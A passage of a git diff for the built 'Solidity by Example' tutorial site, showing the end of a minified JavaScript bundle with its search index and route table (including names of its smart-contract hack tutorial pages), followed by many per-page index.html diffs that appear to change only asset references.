ck","security","cryptography","signature","replay"],"/hacks/self-destruct":["hack","security","selfdestruct"],"/hacks/re-entrancy":["hack","security","re-entrancy"],"/hacks/randomness":["hack","security","source","random","randomness","blockhash","block","timestamp"],"/hacks/phishing-with-tx-origin":["hack","security","phishing","tx.origin"],"/hacks/overflow":["hack","security","arithmetic","overflow","underflow"],"/hacks/honeypot":["hack","security","honeypot"],"/hacks/hiding-malicious-code-with-external-contract":["hack","security","hide","hiding","malicious","code","external","contract"],"/hacks/front-running":["hack","security","front","running"],"/hacks/deploy-different-contracts-same-address":["hack","security","deploy","salt","create","create2","different","contract","same","address"],"/hacks/denial-of-service":["hack","security","denial","service"],"/hacks/delegatecall":["hack","security","delegatecall"],"/hacks/contract-size":["hack","security","bypass","contract","size","check","extcodesize"],"/hacks/block-timestamp-manipulation":["hack","security","block","timestamp","manipulation"],"/hacks/accessing-private-data":["hack","security","access","accessing","private","data","storage"],"/gas-golf":["gas","golf"],"/gas":["gas"],"/function-selector":["function","functions","selector","selectors"],"/function-modifier":["function","functions","modifier","modifiers","_"],"/function":["function","functions"],"/first-app":["contract","contracts","app","first","application","counter"],"/fallback":["fallback","function","functions","receive","payable","send","ether","eth","transfer"],"/evm/storage":["data","evm","storage","state","variable","yul","assembly"],"/events":["event","events"],"/ether-units":["data","variables","variable","ether","wei","units"],"/error":["error","errors","require","revert","assert"],"/enum":["data","variable","variables","enum","import","imports"],"/delegatecall":["delegatecall","call","contract","contracts","function","functions"],"/defi/vault":["defi","vault"],"/defi/uniswap-v3-swap":["defi","uniswap","v3","swap","amm"],"/defi/uniswap-v3-liquidity":["defi","uniswap","v3","liquidity","amm"],"/defi/uniswap-v3-flash-swap":["defi","uniswap","v3","swap","arbitrage","amm"],"/defi/uniswap-v3-flash":["defi","uniswap","v3","flash","loan","amm"],"/defi/uniswap-v2-optimal-one-sided-supply":["defi","uniswap","v2","optimal","one","sided","supply","amm"],"/defi/uniswap-v2-flash-swap":["defi","uniswap","v2","flash","swap","amm"],"/defi/uniswap-v2-add-remove-liquidity":["defi","uniswap","v2","add","remove","liquidity","amm"],"/defi/uniswap-v2":["defi","uniswap","v2","swap","amm"],"/defi/staking-rewards":["defi","staking","reward","rewards"],"/defi/stable-swap-amm":["defi","curve","stable","swap","amm"],"/defi/discrete-staking-rewards":["defi","discrete","staking","reward","rewards"],"/defi/dai-proxy":["defi","dai","proxy"],"/defi/constant-sum-amm":["defi","constant","sum","amm"],"/defi/constant-product-amm":["defi","constant","product","amm"],"/defi/chainlink-price-oracle":["defi","chainlink","price","oracle","oracles"],"/data-locations":["data","location","locations","storage","memory","calldata"],"/constructor":["constructor","constructors","contract","inheritance"],"/constants":["constant","constants","data","variable","variables"],"/calling-contract":["calling","other","contract","contracts","call","function","functions"],"/call":["contract","contracts","call","function","functions"],"/bitwise":["bitwise","most","significant","bit","assembly"],"/assembly-variable":["assembly","variable","yul"],"/assembly-math":["assembly","yul","math","add","mul"],"/assembly-loop":["assembly","loop","yul","while","for"],"/assembly-if":["assembly","yul","if","switch"],"/assembly-error":["assembly","yul","error","revert"],"/array":["data","variable","variables","array","arrays"],"/app/write-to-any-slot":["app","application","write","any","slot","storage"],"/app/upgradeable-proxy":["app","application","delegatecall","upgradeable","proxy"],"/app/uni-directional-payment-channel":["app","application","uni-directional","payment","channel","signature","cryptography"],"/app/time-lock":["app","application","time","lock"],"/app/simple-bytecode-contract":["app","application","simple","bytecode","contract"],"/app/multi-sig-wallet":["app","application","multi","sig","signature","wallet"],"/app/multi-delegatecall":["app","application","multi","delegatecall"],"/app/multi-call":["app","application","multi","call","staticcall"],"/app/minimal-proxy":["app","application","minimal","proxy","contract"],"/app/merkle-tree":["app","application","merkle","tree","cryptography"],"/app/iterable-mapping":["app","application","mapping","data","iterable"],"/app/gasless-token-transfer":["app","application","gasless","token","transfer","ERC20","permit"],"/app/ether-wallet":["app","application","ether","eth","wallet"],"/app/erc721":["app","application","erc721","ierc721","nft"],"/app/erc20":["app","application","erc20","ierc20","token"],"/app/erc1155":["app","application","erc1155","nft","ierc1155"],"/app/english-auction":["app","application","english","auction","auctions"],"/app/dutch-auction":["app","application","dutch","auction","auctions"],"/app/deploy-any-contract":["app","application","deploy","any","contract"],"/app/crowd-fund":["app","application","crowd","fund","funding"],"/app/create2":["app","application","create2","precompute","contract","address"],"/app/bi-directional-payment-channel":["app","application","bi-directional","payment","channel","signature","cryptography"],"/app/assembly-bin-exp":["assembly","yul","binary","exponentiation","math"],"/abi-encode":["abi","encode","bytes","encodeWithSelector","encodeWithSignature","encodeCall"],"/abi-decode":["abi","decode","bytes"]},jg=[];for(const s of Object.keys(vo))jg.push(...vo[s]);const ug={};for(const s of jg)uB(ug,s);function H1(s){return Array.from(new Set(s))}function F1(s){const a=[],n=yB(ug,s.toLowerCase());for(const l of n)Xo[l]&&a.push(...Xo[l]);return a}const K1="_component_ri31z_1",S1="_updates_ri31z_8",M1="_category_ri31z_13",x1="_search_ri31z_16",J1="_listItem_ri31z_20",z1="_label_ri31z_28",E1="_header_ri31z_31",D1="_youTube_ri31z_34",T1="_youTubeLogo_ri31z_40",U1="_cryptoJobsList_ri31z_44",Q1="_cryptoJobsListLogo_ri31z_50",as={component:K1,updates:S1,category:M1,search:x1,listItem:J1,label:z1,header:E1,youTube:D1,youTubeLogo:T1,cryptoJobsList:U1,cryptoJobsListLogo:Q1},_1=["2024/04/06 - EVM storage","2024/03/28 - Transient storage","2024/03/28 - Github PR wildanvin"];function L1(){const[s,a]=B.useState(""),[n,l]=xd(),[p,e]=B.useState(null);B.useEffect(()=>{const I=n.get("q");I!=null&&I.length>0&&(a(I),c(I,!1))},[]);function c(I,d){const j=I.trim();if(j.length==0){e(null),d&&l({q:""});return}const A=H1(j.split(" ")),m={};for(const b of A){const Z=F1(b);for(const h of Z)m[h]=!0}e(m),d&&l({q:j})}const t=jB(I=>c(I,!0),500,[]);function o(I){a(I),t(I)}function i(){return p?Object.keys(p).length==0?r.jsx("div",{children:"No results"}):r.jsx("ul",{className:as.list,children:Cp.filter(({path:I})=>p[I]).map(({path:I,title:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:I,children:d})},I))}):r.jsxs(r.Fragment,{children:[tt.map(({routes:I,title:d},j)=>r.jsxs("div",{children:[d&&r.jsx("h3",{className:as.category,children:d}),r.jsx("ul",{className:as.list,children:I.map(({path:A,title:m})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:A,children:m})},A))})]},j)),r.jsxs("div",{children:[r.jsx("h3",{className:as.category,children:"Translations"}),Od.map(({lang:I,url:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:d,target:"__blank",children:I})},d))]})]})}return r.jsxs("div",{className:as.component,children:[r.jsx(Cg,{title:"Solidity by Example | 0.8.24",description:"Learn smart contract programming using Solidity"}),r.jsx("h1",{className:as.header,children:r.jsx("a",{href:"/",children:"Solidity by Example"})}),r.jsx("div",{className:as.subHeader,children:"v 0.8.24"}),r.jsxs("div",{className:as.main,children:[r.jsxs("p",{children:["Introduction to ",r.jsx("a",{href:"https://solidity.readthedocs.io",children:"Solidity"})," with simple examples"]}),r.jsxs("div",{className:as.youTube,children:[r.jsx("img",{src:dg,alt:"logo",className:as.youTubeLogo}),r.jsx("a",{href:"https://www.youtube.com/@smartcontractprogrammer",target:"__blank",children:"Most code are explained here"})]}),r.jsxs("div",{className:as.cryptoJobsList,children:[r.jsx(L2,{size:24,className:as.cryptoJobsListLogo}),r.jsx("a",{href:Ig,target:"__blank",children:"Looking for Solidity jobs?"})]}),r.jsx("div",{className:as.updates,children:_1.map((I,d)=>r.jsx("div",{children:I},d))}),r.jsx("div",{className:as.search,children:r.jsx(_2,{value:s,onChange:o})}),i()]})]})}const O1=[{path:"/abi-decode",component:EC},{path:"/abi-encode",component:LC},{path:"/app/assembly-bin-exp",component:aj},{path:"/app/bi-directional-payment-channel",component:tj},{path:"/app/create2",component:Ij},{path:"/app/crowd-fund",component:yj},{path:"/app/deploy-any-contract",component:Wj},{path:"/app/dutch-auction",component:Rj},{path:"/app/english-auction",component:Kj},{path:"/app/erc1155",component:Ej},{path:"/app/erc20",component:Lj},{path:"/app/erc721",component:au},{path:"/app/ether-wallet",component:tu},{path:"/app/gasless-token-transfer",component:Iu},{path:"/app/iterable-mapping",component:yu},{path:"/app/merkle-tree",component:Wu},{path:"/app/minimal-proxy",component:Ru},{path:"/app/multi-call",component:Ku},{path:"/app/multi-delegatecall",component:Eu},{path:"/app/multi-sig-wallet",component:Lu},{path:"/app/simple-bytecode-contract",component:aA},{path:"/app/time-lock",component:tA},{path:"/app/uni-directional-payment-channel",component:IA},{path:"/app/upgradeable-proxy",component:yA},{path:"/app/write-to-any-slot",component:WA},{path:"/array",component:RA},{path:"/assembly-error",component:KA},{path:"/assembly-if",component:EA},{path:"/assembly-loop",component:LA},{path:"/assembly-math",component:ay},{path:"/assembly-variable",component:ty},{path:"/bitwise",component:Iy},{path:"/call",component:yy},{path:"/calling-contract",component:Wy},{path:"/constants",component:Ry},{path:"/constructor",component:Ky},{path:"/data-locations",component:Ey},{path:"/defi/chainlink-price-oracle",component:Ly},{path:"/defi/constant-product-amm",component:am},{path:"/defi/constant-sum-amm",component:tm},{path:"/defi/dai-proxy",component:Im},{path:"/defi/discrete-staking-rewards",component:ym},{path:"/defi/stable-swap-amm",component:Wm},{path:"/defi/staking-rewards",component:Rm},{path:"/defi/uniswap-v2",component:Km},{path:"/defi/uniswap-v2-add-remove-liquidity",component:Em},{path:"/defi/uniswap-v2-flash-swap",component:Lm},{path:"/defi/uniswap-v2-optimal-one-sided-supply",component:ab},{path:"/defi/uniswap-v3-flash",component:tb},{path:"/defi/uniswap-v3-flash-swap",component:Ib},{path:"/defi/uniswap-v3-liquidity",component:yb},{path:"/defi/uniswap-v3-swap",component:Wb},{path:"/defi/vault",component:Rb},{path:"/delegatecall",component:Kb},{path:"/enum",component:Eb},{path:"/error",component:Lb},{path:"/ether-units",component:aw},{path:"/events",component:tw},{path:"/evm/storage",component:Iw},{path:"/fallback",component:yw},{path:"/first-app",component:Ww},{path:"/function",component:Rw},{path:"/function-modifier",component:Kw},{path:"/function-selector",component:Ew},{path:"/gas",component:Lw},{path:"/gas-golf",component:ak},{path:"/hacks/accessing-private-data",component:tk},{path:"/hacks/block-timestamp-manipulation",component:Ik},{path:"/hacks/contract-size",component:yk},{path:"/hacks/delegatecall",component:Wk},{path:"/hacks/denial-of-service",component:Rk},{path:"/hacks/deploy-different-contracts-same-address",component:Kk},{path:"/hacks/front-running",component:Ek},{path:"/hacks/hiding-malicious-code-with-external-contract",component:Lk},{path:"/hacks/honeypot",component:aZ},{path:"/hacks/overflow",component:tZ},{path:"/hacks/phishing-with-tx-origin",component:IZ},{path:"/hacks/randomness",component:yZ},{path:"/hacks/re-entrancy",component:WZ},{path:"/hacks/self-destruct",component:RZ},{path:"/hacks/signature-replay",component:KZ},{path:"/hacks/vault-inflation",component:EZ},{path:"/hacks/weth-permit",component:LZ},{path:"/hashing",component:a0},{path:"/hello-world",component:t0},{path:"/if-else",component:I0},{path:"/immutable",component:y0},{path:"/import",component:W0},{path:"/inheritance",component:R0},{path:"/interface",component:K0},{path:"/library",component:E0},{path:"/loop",component:L0},{path:"/mapping",component:aW},{path:"/new-contract",component:tW},{path:"/payable",component:IW},{path:"/primitives",component:yW},{path:"/sending-ether",component:WW},{path:"/shadowing-inherited-state-variables",component:RW},{path:"/signature",component:KW},{path:"/state-variables",component:EW},{path:"/structs",component:LW},{path:"/super",component:a2},{path:"/tests/echidna",component:t2},{path:"/transient-storage",component:I2},{path:"/try-catch",component:y2},{path:"/unchecked-math",component:W2},{path:"/variables",component:R2},{path:"/view-and-pure-functions",component:K2},{path:"/visibility",component:E2},{path:"",component:L1}];var P1={BASE_URL:"/",MODE:"production",DEV:!1,PROD:!0,SSR:!1};function No(){const{state:s,init:a}=et();return B.useLayoutEffect(()=>{a({width:window.document.body.clientWidth})},[]),s.initialized?r.jsx(Md,{basename:P1.VITE_PUBLIC_URL,children:r.jsx(RC,{children:r.jsx(Hd,{children:O1.map(n=>{const{prev:l,next:p}=pC(n.path);return r.jsx(hg,{path:n.path,element:Uo.createElement(n.component,{prev:l,next:p})},n.path)})})})}):null}const $1=document.getElementById("root"),q1=$i($1),Ho=document.getElementById("root");Ho.hasChildNodes()?Pi(Ho,r.jsx(mo,{children:r.jsx(No,{})})):q1.render(r.jsx(mo,{children:r.jsx(No,{})})); diff --git a/assets/telegram-zGrx4xca.png b/assets/telegram-DMavHjFx.png similarity index 100% rename from assets/telegram-zGrx4xca.png rename to assets/telegram-DMavHjFx.png diff --git a/bitwise/index.html b/bitwise/index.html index c5880a087..8339c943a 100644 --- a/bitwise/index.html +++ b/bitwise/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/call/index.html b/call/index.html index c5880a087..8339c943a 100644 --- a/call/index.html +++ b/call/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/calling-contract/index.html b/calling-contract/index.html index c5880a087..8339c943a 100644 --- a/calling-contract/index.html +++ b/calling-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/constants/index.html b/constants/index.html index c5880a087..8339c943a 100644 --- a/constants/index.html +++ b/constants/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/constructor/index.html b/constructor/index.html index c5880a087..8339c943a 100644 --- a/constructor/index.html +++ b/constructor/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/data-locations/index.html b/data-locations/index.html index c5880a087..8339c943a 100644 --- a/data-locations/index.html +++ b/data-locations/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/chainlink-price-oracle/index.html b/defi/chainlink-price-oracle/index.html index c5880a087..8339c943a 100644 --- a/defi/chainlink-price-oracle/index.html +++ b/defi/chainlink-price-oracle/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/constant-product-amm/index.html b/defi/constant-product-amm/index.html index c5880a087..8339c943a 100644 --- a/defi/constant-product-amm/index.html +++ b/defi/constant-product-amm/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/constant-sum-amm/index.html b/defi/constant-sum-amm/index.html index c5880a087..8339c943a 100644 --- a/defi/constant-sum-amm/index.html +++ b/defi/constant-sum-amm/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/dai-proxy/index.html b/defi/dai-proxy/index.html index c5880a087..8339c943a 100644 --- a/defi/dai-proxy/index.html +++ b/defi/dai-proxy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/discrete-staking-rewards/index.html b/defi/discrete-staking-rewards/index.html index c5880a087..8339c943a 100644 --- a/defi/discrete-staking-rewards/index.html +++ b/defi/discrete-staking-rewards/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/stable-swap-amm/index.html b/defi/stable-swap-amm/index.html index c5880a087..8339c943a 100644 --- a/defi/stable-swap-amm/index.html +++ b/defi/stable-swap-amm/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/staking-rewards/index.html b/defi/staking-rewards/index.html index c5880a087..8339c943a 100644 --- a/defi/staking-rewards/index.html +++ b/defi/staking-rewards/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2-add-remove-liquidity/index.html b/defi/uniswap-v2-add-remove-liquidity/index.html index c5880a087..8339c943a 100644 --- a/defi/uniswap-v2-add-remove-liquidity/index.html +++ b/defi/uniswap-v2-add-remove-liquidity/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2-flash-swap/index.html b/defi/uniswap-v2-flash-swap/index.html index c5880a087..8339c943a 100644 --- a/defi/uniswap-v2-flash-swap/index.html +++ b/defi/uniswap-v2-flash-swap/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2-optimal-one-sided-supply/index.html b/defi/uniswap-v2-optimal-one-sided-supply/index.html index c5880a087..8339c943a 100644 --- a/defi/uniswap-v2-optimal-one-sided-supply/index.html +++ b/defi/uniswap-v2-optimal-one-sided-supply/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2/index.html b/defi/uniswap-v2/index.html index c5880a087..8339c943a 100644 --- a/defi/uniswap-v2/index.html +++ b/defi/uniswap-v2/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-flash-swap/index.html b/defi/uniswap-v3-flash-swap/index.html index c5880a087..8339c943a 100644 --- a/defi/uniswap-v3-flash-swap/index.html +++ b/defi/uniswap-v3-flash-swap/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-flash/index.html b/defi/uniswap-v3-flash/index.html index c5880a087..8339c943a 100644 --- a/defi/uniswap-v3-flash/index.html +++ b/defi/uniswap-v3-flash/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-liquidity/index.html b/defi/uniswap-v3-liquidity/index.html index c5880a087..8339c943a 100644 --- a/defi/uniswap-v3-liquidity/index.html +++ b/defi/uniswap-v3-liquidity/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-swap/index.html b/defi/uniswap-v3-swap/index.html index c5880a087..8339c943a 100644 --- a/defi/uniswap-v3-swap/index.html +++ b/defi/uniswap-v3-swap/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/vault/index.html b/defi/vault/index.html index c5880a087..8339c943a 100644 --- a/defi/vault/index.html +++ b/defi/vault/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/delegatecall/index.html b/delegatecall/index.html index c5880a087..8339c943a 100644 --- a/delegatecall/index.html +++ b/delegatecall/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/enum/index.html b/enum/index.html index c5880a087..8339c943a 100644 --- a/enum/index.html +++ b/enum/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/error/index.html b/error/index.html index c5880a087..8339c943a 100644 --- a/error/index.html +++ b/error/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/ether-units/index.html b/ether-units/index.html index c5880a087..8339c943a 100644 --- a/ether-units/index.html +++ b/ether-units/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/events/index.html b/events/index.html index c5880a087..8339c943a 100644 --- a/events/index.html +++ b/events/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/evm/storage/index.html b/evm/storage/index.html new file mode 100644 index 000000000..8339c943a --- /dev/null +++ b/evm/storage/index.html @@ -0,0 +1,45 @@ + + + + + + + + + + + + Solidity by Example + + + + + + + + + + +
                      + + diff --git a/fallback/index.html b/fallback/index.html index c5880a087..8339c943a 100644 --- a/fallback/index.html +++ b/fallback/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/first-app/index.html b/first-app/index.html index c5880a087..8339c943a 100644 --- a/first-app/index.html +++ b/first-app/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/function-modifier/index.html b/function-modifier/index.html index c5880a087..8339c943a 100644 --- a/function-modifier/index.html +++ b/function-modifier/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/function-selector/index.html b/function-selector/index.html index c5880a087..8339c943a 100644 --- a/function-selector/index.html +++ b/function-selector/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/function/index.html b/function/index.html index c5880a087..8339c943a 100644 --- a/function/index.html +++ b/function/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/gas-golf/index.html b/gas-golf/index.html index c5880a087..8339c943a 100644 --- a/gas-golf/index.html +++ b/gas-golf/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/gas/index.html b/gas/index.html index c5880a087..8339c943a 100644 --- a/gas/index.html +++ b/gas/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/accessing-private-data/index.html b/hacks/accessing-private-data/index.html index c5880a087..8339c943a 100644 --- a/hacks/accessing-private-data/index.html +++ b/hacks/accessing-private-data/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/block-timestamp-manipulation/index.html b/hacks/block-timestamp-manipulation/index.html index c5880a087..8339c943a 100644 --- a/hacks/block-timestamp-manipulation/index.html +++ b/hacks/block-timestamp-manipulation/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/contract-size/index.html b/hacks/contract-size/index.html index c5880a087..8339c943a 100644 --- a/hacks/contract-size/index.html +++ b/hacks/contract-size/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/delegatecall/index.html b/hacks/delegatecall/index.html index c5880a087..8339c943a 100644 --- a/hacks/delegatecall/index.html +++ b/hacks/delegatecall/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/denial-of-service/index.html b/hacks/denial-of-service/index.html index c5880a087..8339c943a 100644 --- a/hacks/denial-of-service/index.html +++ b/hacks/denial-of-service/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/deploy-different-contracts-same-address/index.html b/hacks/deploy-different-contracts-same-address/index.html index c5880a087..8339c943a 100644 --- a/hacks/deploy-different-contracts-same-address/index.html +++ b/hacks/deploy-different-contracts-same-address/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/front-running/index.html b/hacks/front-running/index.html index c5880a087..8339c943a 100644 --- a/hacks/front-running/index.html +++ b/hacks/front-running/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/hiding-malicious-code-with-external-contract/index.html b/hacks/hiding-malicious-code-with-external-contract/index.html index c5880a087..8339c943a 100644 --- a/hacks/hiding-malicious-code-with-external-contract/index.html +++ b/hacks/hiding-malicious-code-with-external-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/honeypot/index.html b/hacks/honeypot/index.html index c5880a087..8339c943a 100644 --- a/hacks/honeypot/index.html +++ b/hacks/honeypot/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/overflow/index.html b/hacks/overflow/index.html index c5880a087..8339c943a 100644 --- a/hacks/overflow/index.html +++ b/hacks/overflow/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/phishing-with-tx-origin/index.html b/hacks/phishing-with-tx-origin/index.html index c5880a087..8339c943a 100644 --- a/hacks/phishing-with-tx-origin/index.html +++ b/hacks/phishing-with-tx-origin/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/randomness/index.html b/hacks/randomness/index.html index c5880a087..8339c943a 100644 --- a/hacks/randomness/index.html +++ b/hacks/randomness/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/re-entrancy/index.html b/hacks/re-entrancy/index.html index c5880a087..8339c943a 100644 --- a/hacks/re-entrancy/index.html +++ b/hacks/re-entrancy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/self-destruct/index.html b/hacks/self-destruct/index.html index c5880a087..8339c943a 100644 --- a/hacks/self-destruct/index.html +++ b/hacks/self-destruct/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/signature-replay/index.html b/hacks/signature-replay/index.html index c5880a087..8339c943a 100644 --- a/hacks/signature-replay/index.html +++ b/hacks/signature-replay/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/vault-inflation/index.html b/hacks/vault-inflation/index.html index c5880a087..8339c943a 100644 --- a/hacks/vault-inflation/index.html +++ b/hacks/vault-inflation/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/weth-permit/index.html b/hacks/weth-permit/index.html index c5880a087..8339c943a 100644 --- a/hacks/weth-permit/index.html +++ b/hacks/weth-permit/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hashing/index.html b/hashing/index.html index c5880a087..8339c943a 100644 --- a/hashing/index.html +++ b/hashing/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hello-world/index.html b/hello-world/index.html index c5880a087..8339c943a 100644 --- a/hello-world/index.html +++ b/hello-world/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/if-else/index.html b/if-else/index.html index c5880a087..8339c943a 100644 --- a/if-else/index.html +++ b/if-else/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/immutable/index.html b/immutable/index.html index c5880a087..8339c943a 100644 --- a/immutable/index.html +++ b/immutable/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/import/index.html b/import/index.html index c5880a087..8339c943a 100644 --- a/import/index.html +++ b/import/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/index.html b/index.html index c5880a087..8339c943a 100644 --- a/index.html +++ b/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/inheritance/index.html b/inheritance/index.html index c5880a087..8339c943a 100644 --- a/inheritance/index.html +++ b/inheritance/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/interface/index.html b/interface/index.html index c5880a087..8339c943a 100644 --- a/interface/index.html +++ b/interface/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/library/index.html b/library/index.html index c5880a087..8339c943a 100644 --- a/library/index.html +++ b/library/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/loop/index.html b/loop/index.html index c5880a087..8339c943a 100644 --- a/loop/index.html +++ b/loop/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/mapping/index.html b/mapping/index.html index c5880a087..8339c943a 100644 --- a/mapping/index.html +++ b/mapping/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/new-contract/index.html b/new-contract/index.html index c5880a087..8339c943a 100644 --- a/new-contract/index.html +++ b/new-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/payable/index.html b/payable/index.html index c5880a087..8339c943a 100644 --- a/payable/index.html +++ b/payable/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/primitives/index.html b/primitives/index.html index c5880a087..8339c943a 100644 --- a/primitives/index.html +++ b/primitives/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/sending-ether/index.html b/sending-ether/index.html index c5880a087..8339c943a 100644 --- a/sending-ether/index.html +++ b/sending-ether/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/shadowing-inherited-state-variables/index.html b/shadowing-inherited-state-variables/index.html index c5880a087..8339c943a 100644 --- a/shadowing-inherited-state-variables/index.html +++ b/shadowing-inherited-state-variables/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/signature/index.html b/signature/index.html index c5880a087..8339c943a 100644 --- a/signature/index.html +++ b/signature/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/state-variables/index.html b/state-variables/index.html index c5880a087..8339c943a 100644 --- a/state-variables/index.html +++ b/state-variables/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/structs/index.html b/structs/index.html index c5880a087..8339c943a 100644 --- a/structs/index.html +++ b/structs/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/super/index.html b/super/index.html index c5880a087..8339c943a 100644 --- a/super/index.html +++ b/super/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/tests/echidna/index.html b/tests/echidna/index.html index c5880a087..8339c943a 100644 --- a/tests/echidna/index.html +++ b/tests/echidna/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/transient-storage/index.html b/transient-storage/index.html index c5880a087..8339c943a 100644 --- a/transient-storage/index.html +++ b/transient-storage/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/try-catch/index.html b/try-catch/index.html index c5880a087..8339c943a 100644 --- a/try-catch/index.html +++ b/try-catch/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/unchecked-math/index.html b/unchecked-math/index.html index c5880a087..8339c943a 100644 --- a/unchecked-math/index.html +++ b/unchecked-math/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/variables/index.html 